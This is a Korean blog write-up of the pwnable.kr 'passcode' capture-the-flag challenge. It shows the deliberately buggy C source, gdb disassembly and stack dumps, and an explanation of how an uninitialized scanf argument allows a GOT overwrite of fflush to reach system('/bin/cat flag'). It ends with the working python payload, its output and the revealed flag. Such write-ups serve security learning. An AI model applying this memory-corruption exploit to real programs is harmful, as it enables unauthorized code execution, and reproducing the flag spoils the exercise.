Post

Pwnable.kr - Passcode (풀이 봄)

Passcode

1
2
3
4
5
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h> 
#include <stdlib.h>

void login(){      
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

Solution

Warning을 확인해보니 다음과 같았음.

passcodecheck.c: In function ‘login’:
passcodecheck.c:9:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
         scanf("%d", passcode1);
               ^
passcodecheck.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
         scanf("%d", passcode2);
               ^
/usr/bin/ld: cannot open output file a: Permission denied
collect2: error: ld returned 1 exit status

scanf에서 passcode1,2에 값을 입력해줄 때 주소값을 넣어주지 않아서 생긴 경고임.
(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>:     push   ebp
   0x08048666 <+1>:     mov    ebp,esp
   0x08048668 <+3>:     and    esp,0xfffffff0
   0x0804866b <+6>:     sub    esp,0x10
   0x0804866e <+9>:     mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:    call   0x8048450 <puts@plt>
   0x0804867a <+21>:    call   0x8048609 <welcome>
   0x0804867f <+26>:    call   0x8048564 <login>
   0x08048684 <+31>:    mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:    call   0x8048450 <puts@plt>
   0x08048690 <+43>:    mov    eax,0x0
   0x08048695 <+48>:    leave
   0x08048696 <+49>:    ret
End of assembler dump.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

우선 scanf에는 %d와 변수 주소값 두 개의 인자가 필요함.
scanf 함수를 콜 하기 전 mov로 esp, esp+0x4에 값을 주는데 이것이 바로 위의 두 인자.
위의 내용을 토대로 name의 주소값을 알아보면 다음과 같음.

0x0804862a <+33>:    mov    eax,0x80487dd
0x0804862f <+38>:    lea    edx,[ebp-0x70]  <- edx에 ebp-0x70 주소값 
0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
0x08048636 <+45>:    mov    DWORD PTR [esp],eax
0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>

(gdb) x/2wx $esp
0xfffa58f0:     0x080487dd      0xfffa5908
                   $esp          $esp+0x4(ebp-0x70의 주소값)
(gdb) x/s 0x080487dd
0x80487dd:      "%100s"
(gdb) x/s 0xfffa5908
0xfffa5908:     "ababababababababababababababababababababababababababababababababababababababababababababababababcdef"
(gdb) x/50wx $esp
0xfffa58f0:     0x080487dd      0xfffa5908      0xf777bd60      0xf763347b
0xfffa5900:     0xf777bd60      0x099d3008      0x62616261      0x62616261
0xfffa5910:     0x62616261      0x62616261      0x62616261      0x62616261
0xfffa5920:     0x62616261      0x62616261      0x62616261      0x62616261
0xfffa5930:     0x62616261      0x62616261      0x62616261      0x62616261
0xfffa5940:     0x62616261      0x62616261      0x62616261      0x62616261
0xfffa5950:     0x62616261      0x62616261      0x62616261      0x62616261
0xfffa5960:     0x62616261      0x62616261      0x66656463      0x0a060100
0xfffa5970:     0xf777b000      0xf777b000      0xfffa5998      0x0804867f

name의 위치는 0xfffa5908부터 시작임.
다음은 passcode1의 값으로 무엇이 있는지 확인할꺼임.
break pointlogin+39로 설정함.

(gdb) c
Continuing.
Welcome ababababababababababababababababababababababababababababababababababababababababababababababababcdef!

Breakpoint 3, 0x0804858b in login ()
(gdb) info b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x0804863e <welcome+53>
        breakpoint already hit 1 time
3       breakpoint     keep y   0x0804858b <login+39>
        breakpoint already hit 1 time
4       breakpoint     keep y   0x080485b9 <login+85>
0x08048577 <+19>:    mov    eax,0x8048783
0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
0x08048583 <+31>:    mov    DWORD PTR [esp],eax
0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>

(gdb) x/s 0x8048783
0x8048783:      "%d"
(gdb) x/2wx $esp
0xfffa5950:     0x08048783      0x66656463
(gdb) x/100wx $esp
0xfffa5950:     0x08048783      0x66656463      0x62616261      0x62616261
0xfffa5960:     0x62616261      0x62616261      0x66656463      0x0a060100
0xfffa5970:     0xf777b000      0xf777b000      0xfffa5998      0x08048684
0xfffa5980:     0x080487f0      0x08048250      0x080486a9      0x00000000
0xfffa5990:     0xf777b000      0xf777b000      0x00000000      0xf75e1637
0xfffa59a0:     0x00000001      0xfffa5a34      0xfffa5a3c      0x00000000
0xfffa59b0:     0x00000000      0x00000000      0xf777b000      0xf77b7c04
0xfffa59c0:     0xf77b7000      0x00000000      0xf777b000      0xf777b000
0xfffa59d0:     0x00000000      0xbc2c21bd      0xf4b48fac      0x00000000
0xfffa59e0:     0x00000000      0x00000000      0x00000001      0x080484b0
0xfffa59f0:     0x00000000      0xf77a8010      0xf77a2880      0xf77b7000
0xfffa5a00:     0x00000001      0x080484b0      0x00000000      0x080484d1
0xfffa5a10:     0x08048665      0x00000001      0xfffa5a34      0x080486a0
0xfffa5a20:     0x08048710      0xf77a2880      0xfffa5a2c      0xf77b7918
0xfffa5a30:     0x00000001      0xfffa6dbc      0x00000000      0xfffa6dd4
0xfffa5a40:     0xfffa6dea      0xfffa6dfa      0xfffa6e0e      0xfffa6e32
0xfffa5a50:     0xfffa6e46      0xfffa6e54      0xfffa6e60      0xfffa6ec8
0xfffa5a60:     0xfffa6ee0      0xfffa6eef      0xfffa6f02      0xfffa6f13
0xfffa5a70:     0xfffa6f1c      0xfffa6f30      0xfffa6f38      0xfffa6f49
0xfffa5a80:     0xfffa6f80      0xfffa6fc1      0x00000000      0x00000020
0xfffa5a90:     0xf7792b50      0x00000021      0xf7792000      0x00000010
0xfffa5aa0:     0xbfebfbff      0x00000006      0x00001000      0x00000011
0xfffa5ab0:     0x00000064      0x00000003      0x08048034      0x00000004
0xfffa5ac0:     0x00000020      0x00000005      0x00000009      0x00000007
0xfffa5ad0:     0xf7793000      0x00000008      0x00000000      0x00000009

passcode1의 값은 0x66656463로 되어있음.
이번엔 passcode2의 값을 확인해봄.
break pointlogin+85으로 하고 실행.

(gdb) c
Continuing.

Breakpoint 4, 0x080485b9 in login ()
(gdb) info b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x0804863e <welcome+53>
        breakpoint already hit 1 time
3       breakpoint     keep y   0x0804858b <login+39>
        breakpoint already hit 1 time
4       breakpoint     keep y   0x080485b9 <login+85>
        breakpoint already hit 1 time
0x080485a5 <+65>:    mov    eax,0x8048783
0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
(gdb) x/2wx $esp
0xfffa5950:     0x08048783      0x0a060100

같은 입력 값을 주면서 확인해본 결과..
내가 입력한 100 길이의 문자열에서 마지막 4바이트 cdefpasscode1임.
문제는 passcode2값이 밑에 보면 ebp-0xc인데.. 같은 입력 값을 줘도 계속 바뀌는게.. 접근할 방법을 모르겠음.

0xfffa5960:     0x62616261      0x62616261      0x66656463(ebp-0x10)      0x0a060100(ebp-0xc)
0xfffa5970:     0xf777b000      0xf777b000      0xfffa5998(ebp)           0x08048684                                           

ebp-0xc값을 바꿔줄 방법을 찾아봤지만.. 내 포너블 수준으로는 모르겠어서 풀이를 봄.

풀이를 보니 결국엔 passcode2의 값을 변경시키기는 어렵다고 판단하고, 조건문 자체를 우회하는 방법을 이용함.

fflush(stdin)plt, got값을 이용하여 우회를 하였음.

1
2
3
4
5
6
7
8
9
scanf 함수는 입력 버퍼의 데이터를 변환할 수 없으면 입력 버퍼를 그대로 둔 채로 리턴함.
따라서 입력 버퍼에는 여전히 값이 남아 있게 됨.

fflush(stdin)가 버퍼에 남은 데이터를 없애주는데 buffer overflow가 일어나면서  
\n 값이 없어서 입력 버퍼에 있는 데이터를 지울 수가 없어서 공격이 되는 듯 함.  

fflush(stdin)가 VS 2015부터는 적용 X 이고, Linux에서는 적용되지 않음.

그냥 fflush의 인자로 표준 입력 스트림을 주는 것은 잘못된 방법임.
0x08048593 <+47>:    call   0x8048430 <fflush@plt>
(gdb) x/3i 0x8048430
   0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004
   0x8048436 <fflush@plt+6>:    push   0x8
   0x804843b <fflush@plt+11>:   jmp    0x8048410
(gdb) x/x 0x804a004
0x804a004 <fflush@got.plt>:     0x08048436

got의 값을 확인해봤더니 plt+6의 주소가 들어있음!!
이를 이용하면 jmp를 통해 /bin/cat flag로 접근할 수 있음.

0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af     
0x080485ea <+134>:   call   0x8048460 <system@plt> 

(gdb) x/s 0x80487af
0x80487af:      "/bin/cat flag" <- 얘는 값임, 주소 값이 아님.

주소 값은 0x080485e3임!
1
2
3
4
5
6
7
8
9
정리하면 name의 끝 4바이트는 passcode1의 값이 됨.

만약 그 값이 fflush의 got주소라면 scanf 함수에 의해 어떤 값이 쓰여지게 될 것임. 

그럼 fflush함수가 실행할 때, jmp 구문에 의해 만약 입력한 값이 주소 값이라면 
그 값으로 이동이 됨. -> 버퍼에 있는 데이터가 없어지지 않기 때문에

이유는 fflush(stdin)은 리눅스에서 적용안될 뿐더러 vs 2015부터도 적용 안됌.
또한 fflush의 인자는 출력 버퍼 스트림이 되어야 함.
passcode@pwnable:~$ (python -c 'print "A"*96+"\x04\xa0\x04\x08"+"\xe3\x85\x04\x08"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : enter passcode2 : checking...
Login Failed!

passcode2가 int형이라서 정수 값으로 줘야함.

passcode@pwnable:~$ (python -c 'print "A"*96+"\x04\xa0\x04\x08"+"134514147"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
1
flag : Sorry mom.. I got confused about scanf usage :(
This post is licensed under CC BY 4.0 by the author.